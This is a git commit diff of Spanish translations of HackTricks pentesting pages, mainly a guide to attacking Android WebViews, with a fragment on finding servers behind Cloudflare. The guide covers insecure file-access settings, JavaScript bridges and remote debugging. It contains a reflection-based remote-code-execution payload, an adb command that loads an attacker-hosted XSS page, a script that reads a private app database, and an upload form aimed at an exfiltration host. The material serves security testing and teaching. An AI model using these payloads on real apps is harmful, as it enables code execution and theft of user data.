Translated ['mobile-pentesting/android-app-pentesting/webview-attacks.md

This commit is contained in:
Translator 2023-10-27 15:54:47 +00:00
parent fea3b9fefa
commit 9afe7cb4db
7 changed files with 479 additions and 133 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 125 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 209 KiB

View File

@ -585,7 +585,7 @@
* [LFI2RCE Via compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + Path Disclosure](pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
* [File Upload](pentesting-web/file-upload/README.md)
* [PDF Upload - XXE and CORS bypass](pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md)
* [Formula/CSV/Doc/LaTeX Injection](pentesting-web/formula-doc-latex-injection.md)
* [Formula/CSV/Doc/LaTeX/GhostScript Injection](pentesting-web/formula-csv-doc-latex-ghostscript-injection.md)
* [HTTP Connection Contamination](pentesting-web/http-connection-contamination.md)
* [HTTP Connection Request Smuggling](pentesting-web/http-connection-request-smuggling.md)
* [HTTP Request Smuggling / HTTP Desync Attack](pentesting-web/http-request-smuggling/README.md)

View File

@ -1,77 +1,108 @@
# Configuraciones interesantes
# Ataques a WebView
## Acceso a archivos
<details>
El acceso a archivos de _WebView_ está habilitado por defecto. Desde la API 3 (Cupcake 1.5) está disponible el método [_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) para habilitarlo o deshabilitarlo explícitamente.\
Si la aplicación tiene _**android.permission.READ\_EXTERNAL\_STORAGE**_ podrá leer y cargar archivos **desde el almacenamiento externo**.\
El _WebView_ necesita usar un esquema de URL de archivo, por ejemplo, `file://path/file`, para acceder al archivo.
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
### Acceso universal desde URL de archivo (obsoleto)
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
> Establece si las solicitudes **cross-origin** en el **contexto de una URL de esquema de archivo** deben permitir el acceso a **contenido desde cualquier origen**. Esto incluye **acceso a contenido desde otras URL de esquema de archivo o contextos web.** Tenga en cuenta que algunos accesos, como los elementos HTML de imagen, no siguen las reglas de mismo origen y no se ven afectados por esta configuración.
>
> **No** habilite esta configuración si abre archivos que pueden ser creados o alterados por fuentes externas. Habilitar esta configuración permite que los scripts maliciosos cargados en un contexto `file://` lancen ataques de scripting entre sitios, accediendo a **archivos locales arbitrarios**, incluidas las cookies de WebView, los datos privados de la aplicación o incluso las credenciales utilizadas en sitios web arbitrarios.
</details>
En resumen, esto **evitará la carga de orígenes arbitrarios**. La aplicación enviará la solicitud de URL para cargar el contenido con **`Origin: file://`** si la respuesta no permite ese origen (**`Access-Control-Allow-Origin: file://`**), entonces el contenido no se cargará.\
El **valor predeterminado es `false`** al apuntar a [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) y superior.
## Configuraciones interesantes
* Use [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) para saber si JavaScript que se ejecuta en el contexto de una URL de esquema de archivo puede acceder a contenido desde cualquier origen (si se habilita UniversalAccessFromFileURL).
* Use [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\(boolean\)) para habilitarlo o deshabilitarlo.
Puedes identificar un WebView expuesto de esta manera:
{% hint style="info" %}
Usar **`loadDataWithBaseURL()`** con `null` como baseURL también **evitará la carga de archivos locales** incluso si todas las configuraciones peligrosas están habilitadas.
{% endhint %}
### Acceso a archivos desde URL de archivo (obsoleto) <a href="#getallowfileaccessfromfileurls" id="getallowfileaccessfromfileurls"></a>
> Establece si las solicitudes **cross-origin** en el **contexto de una URL de esquema de archivo** deben permitir el acceso a contenido desde otras URL de esquema de archivo. Tenga en cuenta que algunos accesos, como los elementos HTML de imagen, no siguen las reglas de mismo origen y no se ven afectados por esta configuración.
>
> **No** habilite esta configuración si abre archivos que pueden ser creados o alterados por fuentes externas. Habilitar esta configuración permite que los scripts maliciosos cargados en un contexto `file://` accedan a archivos locales arbitrarios, incluidas las cookies de WebView y los datos privados de la aplicación.
En resumen, esto evita que JavaScript acceda a archivos locales a través del protocolo `file://`.\
Tenga en cuenta que **el valor de esta configuración se ignora** si el valor de [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) es `true`. \
El **valor predeterminado es `false`** al apuntar a [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) y superior.
* Use [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\)) para saber si JavaScript se está ejecutando en el contexto de una URL de esquema de archivo y puede acceder a contenido desde otras URL de esquema de archivo.
* Use [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\(boolean\)) para habilitarlo o deshabilitarlo.
<figure><img src="../../.gitbook/assets/image (718).png" alt=""><figcaption></figcaption></figure>
### Acceso a archivos
> Habilita o deshabilita el **acceso a archivos dentro de WebView**. Tenga en cuenta que esto habilita o deshabilita el acceso al sistema de archivos solamente. Los activos y recursos siguen siendo accesibles mediante file:///android_asset y file:///android_res.
El acceso a archivos de _WebView_ está habilitado de forma predeterminada. Desde la API 3 (Cupcake 1.5), el método [_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) está disponible para habilitarlo o deshabilitarlo explícitamente.\
Si la aplicación tiene el permiso \_**android.permission.READ\_EXTERNAL\_STORAGE** \_, podrá leer y cargar archivos **desde el almacenamiento externo**.\
El _WebView_ necesita usar un esquema de URL de archivo, por ejemplo, `file://path/file`, para acceder al archivo.
En resumen, si se deshabilita, el WebView no podrá cargar un archivo local con el protocolo `file://`.\
El **valor predeterminado es `false`** al apuntar a [`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#R) y superior.
#### Acceso universal desde URL de archivo (obsoleto)
* Use [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess\(\)) para saber si la configuración está habilitada.
* Use [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess\(boolean\)) para habilitarlo o deshabilitarlo.
> Establece si se deben permitir **solicitudes entre dominios** en el **contexto de una URL de esquema de archivo** para acceder a **contenido desde cualquier origen**. Esto incluye **acceso a contenido desde otras URL de esquema de archivo o contextos web**. Tenga en cuenta que algunos accesos, como los elementos HTML de imagen, no siguen las reglas de mismo origen y no se ven afectados por esta configuración.
>
> **No** habilite esta configuración si abre archivos que pueden ser creados o modificados por fuentes externas. Habilitar esta configuración permite que los scripts maliciosos cargados en un contexto `file://` lancen ataques de scripting entre sitios, ya sea **accediendo a archivos locales arbitrarios**, incluidas las cookies de WebView, los datos privados de la aplicación o incluso las credenciales utilizadas en sitios web arbitrarios.
### WebViewAssetLoader
En resumen, esto **evitará la carga de orígenes arbitrarios**. La aplicación enviará la solicitud de URL para cargar el contenido con **`Origin: file://`** si la respuesta no permite ese origen (**`Access-Control-Allow-Origin: file://`**), entonces el contenido no se cargará.\
El **valor predeterminado es `false`** al apuntar a [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) y versiones superiores.
> Clase auxiliar para cargar archivos locales, incluidos los activos estáticos y los recursos de la aplicación, utilizando URL http(s):// dentro de una clase [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html). Cargar archivos locales utilizando URL similares a las web en lugar de `"file://"` es deseable ya que es compatible con la política de mismo origen.
* Usa [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) para saber si JavaScript que se ejecuta en el contexto de una URL de esquema de archivo puede acceder a contenido desde cualquier origen (si UniversalAccessFromFileURL está habilitado).
* Usa [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\(boolean\)) para habilitar/deshabilitar esto.
Esta es la nueva forma recomendada de cargar archivos locales. El objetivo es **acceder a archivos locales utilizando una URL HTTP con el dominio**. De esta manera, la **CORS** se puede **mantener fácilmente** entre las **páginas web** locales y las **páginas web** que se descargan del servidor web.
{% hint style="info" %}
Usar **`loadDataWithBaseURL()`** con `null` como baseURL también **evitará la carga de archivos locales**, incluso si todas las configuraciones peligrosas están habilitadas.
{% endhint %}
## Javascript habilitado
#### Acceso a archivos desde URL de archivo (obsoleto) <a href="#getallowfileaccessfromfileurls" id="getallowfileaccessfromfileurls"></a>
Los WebViews tienen Javascript **deshabilitado por defecto**. El método [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\)) puede habilitarlo o deshabilitarlo explícitamente. \
Tenga en cuenta que los webviews también pueden admitir el **esquema de intención** que permite lanzar otras aplicaciones. Lea este [artículo para saber cómo pasar de XSS a RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105).
> Establece si se deben permitir solicitudes entre dominios en el contexto de una URL de esquema de archivo para acceder a contenido desde otras URL de esquema de archivo. Tenga en cuenta que algunos accesos, como los elementos HTML de imagen, no siguen las reglas de mismo origen y no se ven afectados por esta configuración.
>
> **No** habilite esta configuración si abre archivos que pueden ser creados o modificados por fuentes externas. Habilitar esta configuración permite que los scripts maliciosos cargados en un contexto `file://` accedan a archivos locales arbitrarios, incluidas las cookies de WebView y los datos privados de la aplicación.
## Puente de Javascript
En resumen, esto evita que JavaScript acceda a archivos locales a través del protocolo `file://`.\
Ten en cuenta que **el valor de esta configuración se ignora** si el valor de [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) es `true`.\
El **valor predeterminado es `false`** al apuntar a [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) y versiones superiores.
Android ofrece una forma para que el JavaScript ejecutado en un WebView llame y use **funciones nativas de una aplicación de Android** (anotadas con `@JavascriptInterface`) mediante el uso del método [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29). Esto se conoce como un _WebView JavaScript bridge_ o _native bridge_.
* Usa [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\)) para saber si JavaScript se está ejecutando en el contexto de una URL de esquema de archivo y puede acceder a contenido desde otras URL de esquema de archivo.
* Usa [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\(boolean\)) para habilitar/deshabilitar esto.
#### Acceso a archivos
Tenga en cuenta que **cuando usa `addJavascriptInterface`, está otorgando explícitamente acceso al objeto de interfaz de JavaScript registrado a todas las páginas cargadas dentro de ese WebView**. Esto implica que, si el usuario navega fuera de su aplicación o dominio, todas las demás páginas externas también tendrán acceso a esos objetos de interfaz de JavaScript, lo que podría presentar un riesgo potencial de seguridad si se expone algún dato sensible a través de esas interfaces.
> Habilita o deshabilita el **acceso a archivos dentro de WebView**. Ten en cuenta que esto habilita o deshabilita solo el acceso al sistema de archivos. Los activos y recursos siguen siendo accesibles utilizando file:///android\_asset y file:///android\_res.
> Advertencia: Tenga mucho cuidado con las aplicaciones que apuntan a versiones de Android anteriores
En resumen, si está deshabilitado, WebView no podrá cargar un archivo local con el protocolo `file://`.\
El **valor predeterminado es `false`** al apuntar a [`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#R) y versiones superiores.
* Usa [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess\(\)) para saber si la configuración está habilitada.
* Usa [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess\(boolean\)) para habilitar/deshabilitarla.
#### WebViewAssetLoader
> Clase auxiliar para cargar archivos locales, incluidos los activos estáticos y recursos de la aplicación, utilizando URL http(s):// dentro de una clase [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html). Cargar archivos locales utilizando URLs similares a la web en lugar de `"file://"` es deseable ya que es compatible con la política de mismo origen.
Esta es la nueva forma recomendada de cargar archivos locales. El objetivo es **acceder a archivos locales utilizando una URL HTTP con el dominio**. De esta manera, se puede mantener **fácilmente** la política de mismo origen entre las **páginas web** locales y las **páginas web** que se descargan desde el servidor web.
### JavaScript habilitado
Los WebViews tienen JavaScript **deshabilitado de forma predeterminada**. El método [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\)) se puede utilizar para habilitarlo o deshabilitarlo explícitamente.\
Ten en cuenta que los webviews también pueden admitir el **esquema `intent`** que permite ejecutar otras aplicaciones. Lee este [artículo para saber cómo pasar de XSS a RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105).
Aquí tienes un ejemplo de un webview expuesto vulnerable a XSS a través del parámetro "support\_url" (que puede indicar la URL a cargar en el webview):
<figure><img src="../../.gitbook/assets/image (719).png" alt="" width="563"><figcaption></figcaption></figure>
Es posible explotar esa vulnerabilidad desde adb con algo como:
{% code overflow="wrap" %}
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://6333-157-48-216-175.ngrok-free.app/xss.html"
```
{% endcode %}
### Puente de JavaScript
Android ofrece una forma para que el JavaScript ejecutado en un WebView llame y utilice **funciones nativas de una aplicación de Android** (anotadas con `@JavascriptInterface`) mediante el uso del método [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29). Esto se conoce como un _puente de JavaScript de WebView_ o _puente nativo_.
Ten en cuenta que **cuando utilizas `addJavascriptInterface`, estás otorgando explícitamente acceso al objeto de la Interfaz de JavaScript registrada a todas las páginas cargadas dentro de ese WebView**. Esto implica que, si el usuario navega fuera de tu aplicación o dominio, todas las demás páginas externas también tendrán acceso a esos objetos de la Interfaz de JavaScript, lo que podría representar un riesgo de seguridad potencial si se expone algún dato sensible a través de esas interfaces.
> Advertencia: Ten mucho cuidado con las aplicaciones dirigidas a versiones de Android anteriores a Android 4.2 (nivel de API 17) ya que son [vulnerables a una falla](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/) en la implementación de `addJavascriptInterface`: un ataque que abusa de la reflexión, lo que lleva a la ejecución de código remoto cuando se inyecta JavaScript malicioso en un WebView. Esto se debió a que todos los métodos de objetos Java eran accesibles de forma predeterminada (en lugar de solo aquellos anotados).
#### Análisis estático
```javascript
//Class with a method to access a secret
public class JavascriptBridge {
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
// not annotated with @JavascriptInterface are not visible from JavaScript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
// not annotated with @JavascriptInterface are not visible from JavaScript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
}
```
@ -85,94 +116,126 @@ webView.reload();
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>
```
Con acceso al código JavaScript, a través de, por ejemplo, una **XSS** almacenada, un ataque **MITM** o un **sitio web malicioso** que se carga dentro del WebView, se puede llamar directamente a los métodos Java expuestos.
Con acceso al código JavaScript, a través, por ejemplo, de un ataque de **XSS** almacenado, un ataque **MITM** o un **sitio web malicioso** que se carga dentro del WebView, se puede llamar directamente a los métodos Java expuestos.
{% hint style="info" %}
Tenga en cuenta que en el caso de intentar explotar esta vulnerabilidad a través de una **Redirección Abierta a una página web del atacante que accede al Objeto Nativo de Android**. Si el acceso a la redirección se realiza a través de un **navegador móvil** y **no se utiliza** el mismo **WebView**, el **navegador no podrá acceder al objeto nativo de Android**.
Tenga en cuenta que, en el caso de intentar explotar esta vulnerabilidad a través de una **Redirección Abierta a una página web del atacante que accede al Objeto Nativo de Android**, si el acceso a la redirección se realiza a través de un **navegador móvil** y **no se utiliza** el mismo WebView, el **navegador no podrá acceder al objeto nativo de Android**.
{% endhint %}
Si es necesario utilizar `addJavascriptInterface`, tenga en cuenta las siguientes consideraciones:
* **Solo se debe permitir que el JavaScript proporcionado** con el APK use los puentes, por ejemplo, verificando la URL en cada método Java conectado (a través de `WebView.getUrl`).
* **No se debe cargar JavaScript desde puntos finales remotos**, por ejemplo, manteniendo la navegación de la página dentro de los dominios de la aplicación y abriendo todos los demás dominios en el navegador predeterminado (por ejemplo, Chrome, Firefox).
* Solo se debe permitir que el **JavaScript proporcionado con el APK** utilice los puentes, por ejemplo, verificando la URL en cada método Java conectado (a través de `WebView.getUrl`).
* No se debe cargar **JavaScript desde puntos finales remotos**, por ejemplo, manteniendo la navegación de páginas dentro de los dominios de la aplicación y abriendo todos los demás dominios en el navegador predeterminado (por ejemplo, Chrome, Firefox).
* Si es necesario por razones de compatibilidad (por ejemplo, tener que admitir dispositivos más antiguos), **al menos establezca el nivel de API mínimo en 17** en el archivo de manifiesto de la aplicación (`<uses-sdk android:minSdkVersion="17" />`).
## Puente de JavaScript a RCE a través de Reflection
### Puente de JavaScript a RCE a través de Reflexión
Como se señala en [**esta investigación**](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/) (_revísela para obtener ideas en caso de obtener RCE_), una vez que se encuentra un JavascriptBridge, es posible obtener **RCE** a través de **Reflection** utilizando una carga útil como la siguiente:
Como se señala en [**esta investigación**](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/) (_revísela para obtener ideas en caso de obtener RCE_), una vez que se encuentra un JavascriptBridge, es posible obtener **RCE** a través de **Reflexión** utilizando una carga útil como la siguiente:
```markup
<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>
```
Sin embargo, las aplicaciones modernas pueden usar la **anotación `@JavascriptInterface`** que indica al JavascriptBridge que solo el método con esta anotación debe ser **expuesto**.\
En ese escenario, no podrás abusar de Reflection para ejecutar código arbitrario.
Sin embargo, las aplicaciones modernas pueden usar la anotación **`@JavascriptInterface`** que indica al JavascriptBridge que solo el método con esta anotación debe ser expuesto. En ese escenario, no podrás abusar de la Reflexión para ejecutar código arbitrario.
## Depuración remota
### Depuración remota
La **depuración remota** de WebView permite acceder al WebView con las **Herramientas de desarrollo de Chrome**.\
El **dispositivo** debe ser **accesible** por la PC (a través de USB, emulador local, red local...) y ejecutar el WebView depurable, luego acceder a **chrome://inspect/#devices**:
La **depuración remota de WebView** permite acceder al WebView con las **Herramientas de desarrollo de Chrome**. El dispositivo debe ser accesible desde la PC (a través de USB, emulador local, red local...) y ejecutar el WebView depurable, luego acceder a **chrome://inspect/#devices**:
![](<../../.gitbook/assets/image (525).png>)
Selecciona **inspeccionar** y se abrirá una nueva ventana. En esta ventana puedes **interactuar con el contenido** del **WebView** e incluso hacer que ejecute código JS arbitrario desde la pestaña de **consola**:
Selecciona **inspeccionar** y se abrirá una nueva ventana. En esta ventana, puedes **interactuar con el contenido** del WebView e incluso hacer que ejecute código JS arbitrario desde la pestaña de la **consola**:
![](<../../.gitbook/assets/image (526).png>)
Para habilitar la **depuración remota de WebView** puedes hacer algo como:
Para habilitar la **depuración remota de WebView**, puedes hacer algo como:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
WebView.setWebContentsDebuggingEnabled(true);
}
```
**Esta configuración se aplica a todos los WebViews de la aplicación.**
{% hint style="info" %}
**La depuración de WebView no se ve afectada por el estado de la bandera `debuggable`** en el manifiesto de la aplicación. Si desea habilitar la depuración de WebView solo cuando `debuggable` es `true`, pruebe la bandera en tiempo de ejecución.
**La depuración de WebView no se ve afectada por el estado de la bandera `debuggable`** en el manifiesto de la aplicación. Si deseas habilitar la depuración de WebView solo cuando `debuggable` es `true`, prueba la bandera en tiempo de ejecución.
{% endhint %}
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
# Cargas útiles
## Cargas útiles
## Exfiltrar archivos arbitrarios
### Exfiltrar archivos arbitrarios
Las aplicaciones de Android a menudo utilizan la funcionalidad WebView para mostrar contenido web dentro de la aplicación. Sin embargo, esta funcionalidad puede ser explotada para exfiltrar archivos arbitrarios del dispositivo.
#### Técnica
1. Identificar la URL de destino donde se enviarán los archivos exfiltrados.
2. Crear un archivo HTML malicioso que contenga un formulario para cargar archivos y enviarlos a la URL de destino.
3. Inyectar el archivo HTML malicioso en la WebView de la aplicación objetivo.
4. Cuando el usuario interactúa con el formulario y carga un archivo, el archivo se enviará a la URL de destino especificada.
5. Verificar que los archivos se hayan exfiltrado correctamente.
#### Consideraciones
- Asegúrese de que la aplicación objetivo permita la carga de archivos a través de WebView.
- Verifique que la URL de destino sea accesible y esté configurada correctamente para recibir los archivos exfiltrados.
- Tenga en cuenta que esta técnica puede ser detectada por soluciones de seguridad que monitorean el tráfico de red saliente.
#### Ejemplo de código
```html
<!DOCTYPE html>
<html>
<body>
<h2>Exfiltrar archivos</h2>
<form action="http://tu-url-de-destino.com" method="post" enctype="multipart/form-data">
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="Subir archivo" name="submit">
</form>
</body>
</html>
```
#### Mitigación
- Evite permitir la carga de archivos a través de WebView, a menos que sea absolutamente necesario.
- Implemente controles de seguridad adecuados para validar y filtrar los archivos cargados a través de WebView.
- Mantenga actualizada la versión de WebView utilizada en la aplicación para beneficiarse de las correcciones de seguridad más recientes.
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
```
# Referencias
## Referencias
{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}
{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -6,36 +6,36 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Técnicas para intentar descubrir servidores web detrás de Cloudflare:
Técnicas para intentar descubrir servidores web detrás de CloudFlare:
### Técnicas
* También puedes usar algún servicio que te dé los **registros históricos de DNS** del dominio. Tal vez la página web se esté ejecutando en una dirección IP utilizada anteriormente.
* Lo mismo se puede lograr **comprobando los certificados SSL históricos** que podrían estar apuntando a la dirección IP de origen.
* Comprueba también **los registros DNS de otros subdominios que apuntan directamente a IPs**, ya que es posible que otros subdominios estén apuntando al mismo servidor (tal vez para ofrecer FTP, correo electrónico o cualquier otro servicio).
* También puedes utilizar algún servicio que te proporcione los **registros DNS históricos** del dominio. Tal vez la página web se esté ejecutando en una dirección IP utilizada anteriormente.
* Lo mismo se puede lograr **verificando los certificados SSL históricos** que podrían estar apuntando a la dirección IP de origen.
